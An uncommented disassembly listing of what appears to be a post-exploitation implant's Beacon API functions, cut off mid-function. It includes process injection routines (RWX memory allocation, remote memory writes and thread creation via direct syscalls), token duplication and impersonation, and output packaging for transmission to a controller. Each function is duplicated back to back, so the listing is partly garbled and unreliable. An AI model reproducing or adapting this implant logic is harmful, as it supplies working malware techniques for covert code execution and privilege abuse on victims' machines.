1400081ddpop rdi
1400081deret
1400081c0
1400081c0BeaconFormatAppend:
1400081c0movsxd r9, r8l
1400081c3push rdi
1400081c4mov rax, rcx
1400081c7push rsi
1400081c8mov rsi, rdx
1400081cbmov rdi, [rcx+8]
1400081cfmov rcx, r9
1400081d2rep movsb [rdi], [rsi]
1400081d4pop rsi
1400081d5add [rax+8], r9
1400081d9add [rax+16], r8l
1400081ddpop rdi
1400081deret
1400081c0
1400081df
1400081df // align 0x10
1400081df // align 0x10
1400081e0
1400081e0BeaconFormatFree:
1400081e0test rcx, rcx
1400081e3je 0x140008217
1400081e5push rbx
1400081e6mov rbx, rcx
1400081e9sub rsp, 32
1400081edmov rcx, [rcx]
1400081f0test rcx, rcx
1400081f3je 0x140008207
1400081f5mov rax, [rip+0x24174]
1400081fccall [rax+940]
140008202xor edx, edx
140008204mov [rbx], rdx
140008207
140008207loc_140008207:
140008207xor eax, eax
140008209mov [rbx+8], rax
14000820dmov [rbx+16], rax
140008211add rsp, 32
140008215pop rbx
140008216ret
140008217
140008217loc_140008217:
140008217ret
1400081e0
1400081e0BeaconFormatFree:
1400081e0test rcx, rcx
1400081e3je 0x140008217
1400081e5push rbx
1400081e6mov rbx, rcx
1400081e9sub rsp, 32
1400081edmov rcx, [rcx]
1400081f0test rcx, rcx
1400081f3je 0x140008207
1400081f5mov rax, [rip+0x24174]
1400081fccall [rax+940]
140008202xor edx, edx
140008204mov [rbx], rdx
140008207
140008207loc_140008207:
140008207xor eax, eax
140008209mov [rbx+8], rax
14000820dmov [rbx+16], rax
140008211add rsp, 32
140008215pop rbx
140008216ret
140008217
140008217loc_140008217:
140008217ret
1400081e0
140008218
140008218 // align 0x10
140008218 // align 0x10
140008220
140008220BeaconFormatInt:
140008220mov eax, [rcx+16]
140008223mov r8, rcx
140008226add eax, 3
140008229cmp eax, [rcx+20]
14000822cjge 0x14000824e
14000822esub rsp, 40
140008232mov ecx, edx
140008234call swap_endianess
140008239mov rdx, [r8+8]
14000823dmov [rdx], eax
14000823fadd [r8+16], 4
140008244add [r8+8], 4
140008249add rsp, 40
14000824dret
14000824e
14000824eloc_14000824e:
14000824eret
140008220
140008220BeaconFormatInt:
140008220mov eax, [rcx+16]
140008223mov r8, rcx
140008226add eax, 3
140008229cmp eax, [rcx+20]
14000822cjge 0x14000824e
14000822esub rsp, 40
140008232mov ecx, edx
140008234call swap_endianess
140008239mov rdx, [r8+8]
14000823dmov [rdx], eax
14000823fadd [r8+16], 4
140008244add [r8+8], 4
140008249add rsp, 40
14000824dret
14000824e
14000824eloc_14000824e:
14000824eret
140008220
14000824f
14000824f // align 0x10
14000824f // align 0x10
140008250
140008250BeaconFormatPrintf:
140008250push r12
140008252push rbp
140008253push rdi
140008254mov rdi, rdx
140008257push rsi
140008258push rbx
140008259mov rbx, rcx
14000825cxor ecx, ecx
14000825esub rsp, 64
140008262mov r12, [rip+0x24107]
140008269mov [rsp+136], r9
140008271lea r9, [rsp+128]
140008279mov [rsp+128], r8
140008281mov r8, rdx
140008284xor edx, edx
140008286mov [rsp+56], r9
14000828bmov [rsp+40], r9
140008290call [r12+1612]
140008298mov esi, eax
14000829aadd eax, [rbx+16]
14000829dcmp eax, [rbx+20]
1400082a0jg 0x1400082c8
1400082a2mov r9, [rsp+40]
1400082a7movsxd rbp, esi
1400082aamov rcx, [rbx+8]
1400082aemov r8, rdi
1400082b1mov rdx, rbp
1400082b4mov [rsp+56], r9
1400082b9call [r12+1612]
1400082c1add [rbx+16], esi
1400082c4add [rbx+8], rbp
1400082c8
1400082c8loc_1400082c8:
1400082c8add rsp, 64
1400082ccpop rbx
1400082cdpop rsi
1400082cepop rdi
1400082cfpop rbp
1400082d0pop r12
1400082d2ret
140008250
140008250BeaconFormatPrintf:
140008250push r12
140008252push rbp
140008253push rdi
140008254mov rdi, rdx
140008257push rsi
140008258push rbx
140008259mov rbx, rcx
14000825cxor ecx, ecx
14000825esub rsp, 64
140008262mov r12, [rip+0x24107]
140008269mov [rsp+136], r9
140008271lea r9, [rsp+128]
140008279mov [rsp+128], r8
140008281mov r8, rdx
140008284xor edx, edx
140008286mov [rsp+56], r9
14000828bmov [rsp+40], r9
140008290call [r12+1612]
140008298mov esi, eax
14000829aadd eax, [rbx+16]
14000829dcmp eax, [rbx+20]
1400082a0jg 0x1400082c8
1400082a2mov r9, [rsp+40]
1400082a7movsxd rbp, esi
1400082aamov rcx, [rbx+8]
1400082aemov r8, rdi
1400082b1mov rdx, rbp
1400082b4mov [rsp+56], r9
1400082b9call [r12+1612]
1400082c1add [rbx+16], esi
1400082c4add [rbx+8], rbp
1400082c8
1400082c8loc_1400082c8:
1400082c8add rsp, 64
1400082ccpop rbx
1400082cdpop rsi
1400082cepop rdi
1400082cfpop rbp
1400082d0pop r12
1400082d2ret
140008250
1400082d3
1400082d3 // align 0x10
1400082d3 // align 0x10
1400082e0
1400082e0BeaconFormatReset:
1400082e0mov rdx, rcx
1400082e3push rdi
1400082e4xor eax, eax
1400082e6movsxd rcx, [rcx+20]
1400082eamov rdi, [rdx]
1400082edrep stosb [rdi], al
1400082efmov rax, [rdx]
1400082f2pop rdi
1400082f3mov [rdx+8], rax
1400082f7mov eax, [rdx+20]
1400082famov [rdx+16], eax
1400082fdret
1400082e0
1400082e0BeaconFormatReset:
1400082e0mov rdx, rcx
1400082e3push rdi
1400082e4xor eax, eax
1400082e6movsxd rcx, [rcx+20]
1400082eamov rdi, [rdx]
1400082edrep stosb [rdi], al
1400082efmov rax, [rdx]
1400082f2pop rdi
1400082f3mov [rdx+8], rax
1400082f7mov eax, [rdx+20]
1400082famov [rdx+16], eax
1400082fdret
1400082e0
1400082fe
1400082fe // align 0x10
1400082fe // align 0x10
140008300
140008300BeaconFormatToString:
140008300mov eax, [rcx+16]
140008303mov [rdx], eax
140008305mov rax, [rcx]
140008308ret
140008300
140008300BeaconFormatToString:
140008300mov eax, [rcx+16]
140008303mov [rdx], eax
140008305mov rax, [rcx]
140008308ret
140008300
140008309
140008309 // align 0x10
140008309 // align 0x10
140008310
140008310BeaconGetSpawnTo:
140008310test rdx, rdx
140008313je 0x140008358
140008315push rdi
140008316movsxd rdi, r8l
140008319push rsi
14000831apush rbx
14000831bmov rbx, rdx
14000831esub rsp, 32
140008322mov rax, [rip+0x24047]
140008329test ecx, ecx
14000832bmov rsi, [rax+264]
140008332cmove rsi, [rax+256]
14000833amov rcx, rsi
14000833dcall StringLengthW
140008342lea rcx, [rax+rax]
140008346cmp rdi, rcx
140008349jb 0x140008350
14000834bmov rdi, rbx
14000834erep movsb [rdi], [rsi]
140008350
140008350loc_140008350:
140008350add rsp, 32
140008354pop rbx
140008355pop rsi
140008356pop rdi
140008357ret
140008358
140008358loc_140008358:
140008358ret
140008310
140008310BeaconGetSpawnTo:
140008310test rdx, rdx
140008313je 0x140008358
140008315push rdi
140008316movsxd rdi, r8l
140008319push rsi
14000831apush rbx
14000831bmov rbx, rdx
14000831esub rsp, 32
140008322mov rax, [rip+0x24047]
140008329test ecx, ecx
14000832bmov rsi, [rax+264]
140008332cmove rsi, [rax+256]
14000833amov rcx, rsi
14000833dcall StringLengthW
140008342lea rcx, [rax+rax]
140008346cmp rdi, rcx
140008349jb 0x140008350
14000834bmov rdi, rbx
14000834erep movsb [rdi], [rsi]
140008350
140008350loc_140008350:
140008350add rsp, 32
140008354pop rbx
140008355pop rsi
140008356pop rdi
140008357ret
140008358
140008358loc_140008358:
140008358ret
140008310
140008359
140008359 // align 0x10
140008359 // align 0x10
140008360
140008360BeaconInjectProcess:
140008360push rdi
140008361mov rdi, r8
140008364push rsi
140008365movsxd rsi, r9l
140008368xor r9l, r9l
14000836bpush rbx
14000836cmov rbx, rcx
14000836fadd rsp, -128
140008373mov [rsp+104], r9
140008378mov [rsp+112], r9
14000837dmov [rsp+120], r9
140008382test rcx, rcx
140008385jne 0x14000839f
140008387mov ecx, edx
140008389mov edx, 0x1fffff
14000838ecall ProcessOpen
140008393mov rbx, rax
140008396test rax, rax
140008399je 0x14000849c
14000839f
14000839floc_14000839f:
14000839fmov [rsp+120], rsi
1400083a4lea rsi, [rsp+120]
1400083a9xor r8l, r8l
1400083acmov rcx, rbx
1400083afmov [rsp+40], 64
1400083b7lea rdx, [rsp+112]
1400083bcmov r9, rsi
1400083bfmov [rsp+32], 12288
1400083c7call SysNtAllocateVirtualMemory
1400083cctest eax, eax
1400083cejs 0x14000849c
1400083d4xor r8l, r8l
1400083d7mov r9, [rsp+120]
1400083dcmov rdx, [rsp+112]
1400083e1mov rcx, rbx
1400083e4mov [rsp+32], r8
1400083e9mov r8, rdi
1400083eccall SysNtWriteVirtualMemory
1400083f1test eax, eax
1400083f3js 0x14000849c
1400083f9xor r8l, r8l
1400083fclea rdx, [rsp+104]
140008401mov r9, rsi
140008404mov rcx, rbx
140008407mov [rsp+40], 64
14000840fmovsxd rax, [rsp+208]
140008417mov [rsp+32], 12288
14000841fmov [rsp+120], rax
140008424call SysNtAllocateVirtualMemory
140008429test eax, eax
14000842bjs 0x14000849c
14000842dxor ecx, ecx
14000842fmov r9, [rsp+120]
140008434mov rdx, [rsp+104]
140008439mov [rsp+32], rcx
14000843emov r8, [rsp+200]
140008446mov rcx, rbx
140008449call SysNtWriteVirtualMemory
14000844etest eax, eax
140008450js 0x14000849c
140008452xor eax, eax
140008454xor edx, edx
140008456mov r9, rbx
140008459xor r8l, r8l
14000845cmov [rsp+80], rax
140008461xor ecx, ecx
140008463mov [rsp+72], rax
140008468mov [rsp+64], rax
14000846dmov [rsp+56], rax
140008472mov rax, [rsp+104]
140008477mov [rsp+48], edx
14000847bmov edx, 0x20000000
140008480mov [rsp+40], rax
140008485movsxd rax, [rsp+192]
14000848dadd rax, [rsp+112]
140008492mov [rsp+32], rax
140008497call SysNtCreateThreadEx
14000849c
14000849cloc_14000849c:
14000849csub rsp, -128
1400084a0pop rbx
1400084a1pop rsi
1400084a2pop rdi
1400084a3ret
140008360
140008360BeaconInjectProcess:
140008360push rdi
140008361mov rdi, r8
140008364push rsi
140008365movsxd rsi, r9l
140008368xor r9l, r9l
14000836bpush rbx
14000836cmov rbx, rcx
14000836fadd rsp, -128
140008373mov [rsp+104], r9
140008378mov [rsp+112], r9
14000837dmov [rsp+120], r9
140008382test rcx, rcx
140008385jne 0x14000839f
140008387mov ecx, edx
140008389mov edx, 0x1fffff
14000838ecall ProcessOpen
140008393mov rbx, rax
140008396test rax, rax
140008399je 0x14000849c
14000839f
14000839floc_14000839f:
14000839fmov [rsp+120], rsi
1400083a4lea rsi, [rsp+120]
1400083a9xor r8l, r8l
1400083acmov rcx, rbx
1400083afmov [rsp+40], 64
1400083b7lea rdx, [rsp+112]
1400083bcmov r9, rsi
1400083bfmov [rsp+32], 12288
1400083c7call SysNtAllocateVirtualMemory
1400083cctest eax, eax
1400083cejs 0x14000849c
1400083d4xor r8l, r8l
1400083d7mov r9, [rsp+120]
1400083dcmov rdx, [rsp+112]
1400083e1mov rcx, rbx
1400083e4mov [rsp+32], r8
1400083e9mov r8, rdi
1400083eccall SysNtWriteVirtualMemory
1400083f1test eax, eax
1400083f3js 0x14000849c
1400083f9xor r8l, r8l
1400083fclea rdx, [rsp+104]
140008401mov r9, rsi
140008404mov rcx, rbx
140008407mov [rsp+40], 64
14000840fmovsxd rax, [rsp+208]
140008417mov [rsp+32], 12288
14000841fmov [rsp+120], rax
140008424call SysNtAllocateVirtualMemory
140008429test eax, eax
14000842bjs 0x14000849c
14000842dxor ecx, ecx
14000842fmov r9, [rsp+120]
140008434mov rdx, [rsp+104]
140008439mov [rsp+32], rcx
14000843emov r8, [rsp+200]
140008446mov rcx, rbx
140008449call SysNtWriteVirtualMemory
14000844etest eax, eax
140008450js 0x14000849c
140008452xor eax, eax
140008454xor edx, edx
140008456mov r9, rbx
140008459xor r8l, r8l
14000845cmov [rsp+80], rax
140008461xor ecx, ecx
140008463mov [rsp+72], rax
140008468mov [rsp+64], rax
14000846dmov [rsp+56], rax
140008472mov rax, [rsp+104]
140008477mov [rsp+48], edx
14000847bmov edx, 0x20000000
140008480mov [rsp+40], rax
140008485movsxd rax, [rsp+192]
14000848dadd rax, [rsp+112]
140008492mov [rsp+32], rax
140008497call SysNtCreateThreadEx
14000849c
14000849cloc_14000849c:
14000849csub rsp, -128
1400084a0pop rbx
1400084a1pop rsi
1400084a2pop rdi
1400084a3ret
140008360
1400084a4
1400084a4 // align 0x10
1400084a4 // align 0x10
1400084b0
1400084b0BeaconInjectTemporaryProcess:
1400084b0push rbp
1400084b1movsxd r8, r8l
1400084b4push rdi
1400084b5mov rdi, rdx
1400084b8push rsi
1400084b9movsxd rsi, r9l
1400084bcpush rbx
1400084bdmov rbx, rcx
1400084c0sub rsp, 136
1400084c7lea rbp, [rsp+120]
1400084ccmov [rsp+120], r8
1400084d1lea rdx, [rsp+104]
1400084d6xor r8l, r8l
1400084d9mov [rsp+40], 64
1400084e1mov r9, rbp
1400084e4mov [rsp+32], 12288
1400084ecmov rcx, [rcx]
1400084efcall SysNtAllocateVirtualMemory
1400084f4test eax, eax
1400084f6jne 0x1400085bc
1400084fcxor r8l, r8l
1400084ffmov r9, [rsp+120]
140008504mov rdx, [rsp+104]
140008509mov [rsp+32], r8
14000850emov rcx, [rbx]
140008511mov r8, rdi
140008514call SysNtWriteVirtualMemory
140008519test eax, eax
14000851bjne 0x1400085bc
140008521mov [rsp+40], 64
140008529xor r8l, r8l
14000852clea rdx, [rsp+112]
140008531mov r9, rbp
140008534mov [rsp+32], 12288
14000853cmovsxd rax, [rsp+216]
140008544mov rcx, [rbx]
140008547mov [rsp+120], rax
14000854ccall SysNtAllocateVirtualMemory
140008551test eax, eax
140008553jne 0x1400085bc
140008555xor ecx, ecx
140008557mov r9, [rsp+120]
14000855cmov rdx, [rsp+112]
140008561mov [rsp+32], rcx
140008566mov r8, [rsp+208]
14000856emov rcx, [rbx]
140008571call SysNtWriteVirtualMemory
140008576test eax, eax
140008578jne 0x1400085bc
14000857axor eax, eax
14000857cxor edx, edx
14000857eadd rsi, [rsp+104]
140008583xor r8l, r8l
140008586mov [rsp+80], rax
14000858bxor ecx, ecx
14000858dmov [rsp+72], rax
140008592mov [rsp+64], rax
140008597mov [rsp+56], rax
14000859cmov rax, [rsp+112]
1400085a1mov [rsp+48], edx
1400085a5mov edx, 0x20000000
1400085aamov [rsp+40], rax
1400085afmov [rsp+32], rsi
1400085b4mov r9, [rbx]
1400085b7call SysNtCreateThreadEx
1400085bc
1400085bcloc_1400085bc:
1400085bcadd rsp, 136
1400085c3pop rbx
1400085c4pop rsi
1400085c5pop rdi
1400085c6pop rbp
1400085c7ret
1400084b0
1400084b0BeaconInjectTemporaryProcess:
1400084b0push rbp
1400084b1movsxd r8, r8l
1400084b4push rdi
1400084b5mov rdi, rdx
1400084b8push rsi
1400084b9movsxd rsi, r9l
1400084bcpush rbx
1400084bdmov rbx, rcx
1400084c0sub rsp, 136
1400084c7lea rbp, [rsp+120]
1400084ccmov [rsp+120], r8
1400084d1lea rdx, [rsp+104]
1400084d6xor r8l, r8l
1400084d9mov [rsp+40], 64
1400084e1mov r9, rbp
1400084e4mov [rsp+32], 12288
1400084ecmov rcx, [rcx]
1400084efcall SysNtAllocateVirtualMemory
1400084f4test eax, eax
1400084f6jne 0x1400085bc
1400084fcxor r8l, r8l
1400084ffmov r9, [rsp+120]
140008504mov rdx, [rsp+104]
140008509mov [rsp+32], r8
14000850emov rcx, [rbx]
140008511mov r8, rdi
140008514call SysNtWriteVirtualMemory
140008519test eax, eax
14000851bjne 0x1400085bc
140008521mov [rsp+40], 64
140008529xor r8l, r8l
14000852clea rdx, [rsp+112]
140008531mov r9, rbp
140008534mov [rsp+32], 12288
14000853cmovsxd rax, [rsp+216]
140008544mov rcx, [rbx]
140008547mov [rsp+120], rax
14000854ccall SysNtAllocateVirtualMemory
140008551test eax, eax
140008553jne 0x1400085bc
140008555xor ecx, ecx
140008557mov r9, [rsp+120]
14000855cmov rdx, [rsp+112]
140008561mov [rsp+32], rcx
140008566mov r8, [rsp+208]
14000856emov rcx, [rbx]
140008571call SysNtWriteVirtualMemory
140008576test eax, eax
140008578jne 0x1400085bc
14000857axor eax, eax
14000857cxor edx, edx
14000857eadd rsi, [rsp+104]
140008583xor r8l, r8l
140008586mov [rsp+80], rax
14000858bxor ecx, ecx
14000858dmov [rsp+72], rax
140008592mov [rsp+64], rax
140008597mov [rsp+56], rax
14000859cmov rax, [rsp+112]
1400085a1mov [rsp+48], edx
1400085a5mov edx, 0x20000000
1400085aamov [rsp+40], rax
1400085afmov [rsp+32], rsi
1400085b4mov r9, [rbx]
1400085b7call SysNtCreateThreadEx
1400085bc
1400085bcloc_1400085bc:
1400085bcadd rsp, 136
1400085c3pop rbx
1400085c4pop rsi
1400085c5pop rdi
1400085c6pop rbp
1400085c7ret
1400084b0
1400085c8
1400085c8 // align 0x10
1400085c8 // align 0x10
1400085d0
1400085d0BeaconIsAdmin:
1400085d0push rsi
1400085d1xor esi, esi
1400085d3push rbx
1400085d4sub rsp, 40
1400085d8call TokenCurrentHandle
1400085ddtest rax, rax
1400085e0je 0x1400085f7
1400085e2mov rbx, rax
1400085e5mov rcx, rax
1400085e8call TokenElevated
1400085edmov rcx, rbx
1400085f0mov esi, eax
1400085f2call SysNtClose
1400085f7
1400085f7loc_1400085f7:
1400085f7add rsp, 40
1400085fbmov eax, esi
1400085fdpop rbx
1400085fepop rsi
1400085ffret
1400085d0
1400085d0BeaconIsAdmin:
1400085d0push rsi
1400085d1xor esi, esi
1400085d3push rbx
1400085d4sub rsp, 40
1400085d8call TokenCurrentHandle
1400085ddtest rax, rax
1400085e0je 0x1400085f7
1400085e2mov rbx, rax
1400085e5mov rcx, rax
1400085e8call TokenElevated
1400085edmov rcx, rbx
1400085f0mov esi, eax
1400085f2call SysNtClose
1400085f7
1400085f7loc_1400085f7:
1400085f7add rsp, 40
1400085fbmov eax, esi
1400085fdpop rbx
1400085fepop rsi
1400085ffret
1400085d0
140008600
140008600BeaconOutput:
140008600push rbp
140008601mov r9l, ecx
140008604mov ebp, ecx
140008606lea rcx, [rip+0x23144]
14000860dpush rdi
14000860emov edi, r8l
140008611push rsi
140008612mov rsi, rdx
140008615push rbx
140008616sub rsp, 72
14000861amov [rsp+40], r8l
14000861fmov r8l, 236
140008625mov [rsp+32], rdx
14000862alea rdx, [rip+0x2414f]
140008631call printf
140008636mov rcx, [rsp+104]
14000863bxor eax, eax
14000863dlea rdx, [rsp+60]
140008642mov [rsp+60], eax
140008646call GetRequestIDForCallingObjectFile
14000864btest eax, eax
14000864dje 0x14000865f
14000864fmov edx, [rsp+60]
140008653mov ecx, 94
140008658call PackageCreateWithRequestID
14000865djmp 0x140008669
14000865f
14000865floc_14000865f:
14000865fmov ecx, 94
140008664call PackageCreate
140008669
140008669loc_140008669:
140008669mov rbx, rax
14000866cmov edx, ebp
14000866emov rcx, rax
140008671call PackageAddInt32
140008676mov rcx, rbx
140008679movsxd r8, edi
14000867cmov rdx, rsi
14000867fcall PackageAddBytes
140008684add rsp, 72
140008688mov rcx, rbx
14000868bpop rbx
14000868cpop rsi
14000868dpop rdi
14000868epop rbp
14000868fjmp 0x140018b90
140008600
140008600BeaconOutput:
140008600push rbp
140008601mov r9l, ecx
140008604mov ebp, ecx
140008606lea rcx, [rip+0x23144]
14000860dpush rdi
14000860emov edi, r8l
140008611push rsi
140008612mov rsi, rdx
140008615push rbx
140008616sub rsp, 72
14000861amov [rsp+40], r8l
14000861fmov r8l, 236
140008625mov [rsp+32], rdx
14000862alea rdx, [rip+0x2414f]
140008631call printf
140008636mov rcx, [rsp+104]
14000863bxor eax, eax
14000863dlea rdx, [rsp+60]
140008642mov [rsp+60], eax
140008646call GetRequestIDForCallingObjectFile
14000864btest eax, eax
14000864dje 0x14000865f
14000864fmov edx, [rsp+60]
140008653mov ecx, 94
140008658call PackageCreateWithRequestID
14000865djmp 0x140008669
14000865f
14000865floc_14000865f:
14000865fmov ecx, 94
140008664call PackageCreate
140008669
140008669loc_140008669:
140008669mov rbx, rax
14000866cmov edx, ebp
14000866emov rcx, rax
140008671call PackageAddInt32
140008676mov rcx, rbx
140008679movsxd r8, edi
14000867cmov rdx, rsi
14000867fcall PackageAddBytes
140008684add rsp, 72
140008688mov rcx, rbx
14000868bpop rbx
14000868cpop rsi
14000868dpop rdi
14000868epop rbp
14000868fjmp 0x140018b90
140008600
140008694
140008694 // align 0x10
140008694 // align 0x10
1400086a0
1400086a0BeaconPrintf:
1400086a0push r15
1400086a2lea r15, [rip+0x242b7]
1400086a9push r14
1400086abpush r13
1400086admov r13l, ecx
1400086b0push r12
1400086b2push rbp
1400086b3push rdi
1400086b4mov rdi, rdx
1400086b7push rsi
1400086b8push rbx
1400086b9sub rsp, 88
1400086bdmov [rsp+32], rdx
1400086c2mov rdx, r15
1400086c5mov [rsp+176], r8
1400086cdmov r8l, 201
1400086d3mov [rsp+184], r9
1400086dbmov r9l, ecx
1400086delea rcx, [rip+0x23016]
1400086e5call printf
1400086eaxor edx, edx
1400086ecmov rcx, [rsp+152]
1400086f4xor eax, eax
1400086f6mov [rsp+68], edx
1400086falea rdx, [rsp+68]
1400086ffmov [rsp+72], rax
140008704call GetRequestIDForCallingObjectFile
140008709test eax, eax
14000870bje 0x14000871d
14000870dmov edx, [rsp+68]
140008711mov ecx, 94
140008716call PackageCreateWithRequestID
14000871bjmp 0x140008727
14000871d
14000871dloc_14000871d:
14000871dmov ecx, 94
140008722call PackageCreate
140008727
140008727loc_140008727:
140008727mov r12, [rip+0x23c42]
14000872emov rsi, rax
140008731mov r8, rdi
140008734xor edx, edx
140008736lea r9, [rsp+176]
14000873exor ecx, ecx
140008740mov [rsp+72], r9
140008745mov [rsp+56], r9
14000874acall [r12+1612]
140008752mov ecx, 64
140008757movsxd rbx, eax
14000875amov rdx, rbx
14000875dcall [r12+932]
140008765mov r9, [rsp+56]
14000876amov r8, rdi
14000876dmov rdx, rbx
140008770mov rbp, rax
140008773mov rcx, rax
140008776call [r12+1612]
14000877emov [rsp+32], rbp
140008783mov r9l, ebx
140008786mov r8l, 224
14000878cmov rdx, r15
14000878flea rcx, [rip+0x22f92]
140008796mov rdi, rbp
140008799call printf
14000879emov edx, r13l
1400087a1mov rcx, rsi
1400087a4call PackageAddInt32
1400087a9mov r8, rbx
1400087acmov rdx, rbp
1400087afmov rcx, rsi
1400087b2call PackageAddBytes
1400087b7mov rcx, rsi
1400087bacall PackageTransmit
1400087bfmov rcx, rbx
1400087c2xor eax, eax
1400087c4rep stosb [rdi], al
1400087c6mov rcx, rbp
1400087c9call [r12+940]
1400087d1add rsp, 88
1400087d5pop rbx
1400087d6pop rsi
1400087d7pop rdi
1400087d8pop rbp
1400087d9pop r12
1400087dbpop r13
1400087ddpop r14
1400087dfpop r15
1400087e1ret
1400086a0
1400086a0BeaconPrintf:
1400086a0push r15
1400086a2lea r15, [rip+0x242b7]
1400086a9push r14
1400086abpush r13
1400086admov r13l, ecx
1400086b0push r12
1400086b2push rbp
1400086b3push rdi
1400086b4mov rdi, rdx
1400086b7push rsi
1400086b8push rbx
1400086b9sub rsp, 88
1400086bdmov [rsp+32], rdx
1400086c2mov rdx, r15
1400086c5mov [rsp+176], r8
1400086cdmov r8l, 201
1400086d3mov [rsp+184], r9
1400086dbmov r9l, ecx
1400086delea rcx, [rip+0x23016]
1400086e5call printf
1400086eaxor edx, edx
1400086ecmov rcx, [rsp+152]
1400086f4xor eax, eax
1400086f6mov [rsp+68], edx
1400086falea rdx, [rsp+68]
1400086ffmov [rsp+72], rax
140008704call GetRequestIDForCallingObjectFile
140008709test eax, eax
14000870bje 0x14000871d
14000870dmov edx, [rsp+68]
140008711mov ecx, 94
140008716call PackageCreateWithRequestID
14000871bjmp 0x140008727
14000871d
14000871dloc_14000871d:
14000871dmov ecx, 94
140008722call PackageCreate
140008727
140008727loc_140008727:
140008727mov r12, [rip+0x23c42]
14000872emov rsi, rax
140008731mov r8, rdi
140008734xor edx, edx
140008736lea r9, [rsp+176]
14000873exor ecx, ecx
140008740mov [rsp+72], r9
140008745mov [rsp+56], r9
14000874acall [r12+1612]
140008752mov ecx, 64
140008757movsxd rbx, eax
14000875amov rdx, rbx
14000875dcall [r12+932]
140008765mov r9, [rsp+56]
14000876amov r8, rdi
14000876dmov rdx, rbx
140008770mov rbp, rax
140008773mov rcx, rax
140008776call [r12+1612]
14000877emov [rsp+32], rbp
140008783mov r9l, ebx
140008786mov r8l, 224
14000878cmov rdx, r15
14000878flea rcx, [rip+0x22f92]
140008796mov rdi, rbp
140008799call printf
14000879emov edx, r13l
1400087a1mov rcx, rsi
1400087a4call PackageAddInt32
1400087a9mov r8, rbx
1400087acmov rdx, rbp
1400087afmov rcx, rsi
1400087b2call PackageAddBytes
1400087b7mov rcx, rsi
1400087bacall PackageTransmit
1400087bfmov rcx, rbx
1400087c2xor eax, eax
1400087c4rep stosb [rdi], al
1400087c6mov rcx, rbp
1400087c9call [r12+940]
1400087d1add rsp, 88
1400087d5pop rbx
1400087d6pop rsi
1400087d7pop rdi
1400087d8pop rbp
1400087d9pop r12
1400087dbpop r13
1400087ddpop r14
1400087dfpop r15
1400087e1ret
1400086a0
1400087e2
1400087e2 // align 0x10
1400087e2 // align 0x10
1400087f0
1400087f0BeaconSpawnTemporaryProcess:
1400087f0sub rsp, 88
1400087f4mov rax, [rip+0x23b75]
1400087fbmov r10l, edx
1400087fetest ecx, ecx
140008800mov rdx, [rax+264]
140008807cmove rdx, [rax+256]
14000880ftest r10l, r10l
140008812je 0x14000884b
140008814mov [rsp+64], r8
140008819xor r8l, r8l
14000881cxor ecx, ecx
14000881emov [rsp+72], r9
140008823xor r9l, r9l
140008826mov [rsp+56], r8
14000882bmov [rsp+48], r8
140008830xor r8l, r8l
140008833mov [rsp+40], 0x8000000
14000883bmov [rsp+32], 1
140008843call [rax+956]
140008849jmp 0x14000887e
14000884b
14000884bloc_14000884b:
14000884bxor ecx, ecx
14000884dmov [rsp+64], r9
140008852mov r9, rdx
140008855mov edx, 1
14000885amov [rsp+56], r8
14000885fxor r8l, r8l
140008862mov [rsp+48], rcx
140008867mov [rsp+40], rcx
14000886cor rcx, -1
140008870mov [rsp+32], 1024
140008878call [rax+1356]
14000887e
14000887eloc_14000887e:
14000887eadd rsp, 88
140008882ret
1400087f0
1400087f0BeaconSpawnTemporaryProcess:
1400087f0sub rsp, 88
1400087f4mov rax, [rip+0x23b75]
1400087fbmov r10l, edx
1400087fetest ecx, ecx
140008800mov rdx, [rax+264]
140008807cmove rdx, [rax+256]
14000880ftest r10l, r10l
140008812je 0x14000884b
140008814mov [rsp+64], r8
140008819xor r8l, r8l
14000881cxor ecx, ecx
14000881emov [rsp+72], r9
140008823xor r9l, r9l
140008826mov [rsp+56], r8
14000882bmov [rsp+48], r8
140008830xor r8l, r8l
140008833mov [rsp+40], 0x8000000
14000883bmov [rsp+32], 1
140008843call [rax+956]
140008849jmp 0x14000887e
14000884b
14000884bloc_14000884b:
14000884bxor ecx, ecx
14000884dmov [rsp+64], r9
140008852mov r9, rdx
140008855mov edx, 1
14000885amov [rsp+56], r8
14000885fxor r8l, r8l
140008862mov [rsp+48], rcx
140008867mov [rsp+40], rcx
14000886cor rcx, -1
140008870mov [rsp+32], 1024
140008878call [rax+1356]
14000887e
14000887eloc_14000887e:
14000887eadd rsp, 88
140008882ret
1400087f0
140008883
140008883 // align 0x10
140008883 // align 0x10
140008890
140008890BeaconUseToken:
140008890sub rsp, 72
140008894xor r9l, r9l
140008897xor r8l, r8l
14000889axor edx, edx
14000889clea rax, [rsp+56]
1400088a1mov [rsp+32], 1
1400088a9mov [rsp+40], rax
1400088aemov [rsp+56], -1
1400088b7call SysNtDuplicateToken
1400088bctest eax, eax
1400088beje 0x1400088dc
1400088c0mov rax, [rip+0x23aa9]
1400088c7xor ecx, ecx
1400088c9mov rdx, [rsp+56]
1400088cecall [rax+1604]
1400088d4test eax, eax
1400088d6setne al
1400088d9movzx eax, al
1400088dc
1400088dcloc_1400088dc:
1400088dcadd rsp, 72
1400088e0ret
140008890
140008890BeaconUseToken:
140008890sub rsp, 72
140008894xor r9l, r9l
140008897xor r8l, r8l
14000889axor edx, edx
14000889clea rax, [rsp+56]
1400088a1mov [rsp+32], 1
1400088a9mov [rsp+40], rax
1400088aemov [rsp+56], -1
1400088b7call SysNtDuplicateToken
1400088bctest eax, eax
1400088beje 0x1400088dc
1400088c0mov rax, [rip+0x23aa9]
1400088c7xor ecx, ecx
1400088c9mov rdx, [rsp+56]
1400088cecall [rax+1604]
1400088d4test eax, eax
1400088d6setne al
1400088d9movzx eax, al
1400088dc
1400088dcloc_1400088dc:
1400088dcadd rsp, 72
1400088e0ret
140008890
1400088e1
1400088e1 // align 0x10
1400088e1 // align 0x10
1400088f0
1400088f0CanTokenBeImpersonated:
1400088f0push rbx
1400088f1xor eax, eax
1400088f3sub rsp, 48
1400088f7mov [rsp+40], rax
1400088fccall SysImpersonateLoggedOnUser
140008901test eax, eax
140008903jne 0x140008909
140008905
140008905loc_140008905:
140008905xor eax, eax
140008907jmp 0x140008955
140008909
140008909loc_140008909:
140008909lea r9, [rsp+40]
14000890emov r8l, 1
140008914mov rax, [rip+0x23a55]
14000891bmov edx, 0x2000000
140008920mov rcx, -2
140008927call [rax+1588]
14000892dmov ebx, eax
14000892fcall TokenRevSelf
140008934test ebx, ebx
140008936je 0x140008905
140008938mov rcx, [rsp+40]
14000893dcall IsImpersonationToken
140008942mov rcx, [rsp+40]
140008947mov ebx, eax
140008949call SysNtClose
14000894exor eax, eax
140008950test ebx, ebx
140008952setne al
140008955
140008955loc_140008955:
140008955add rsp, 48
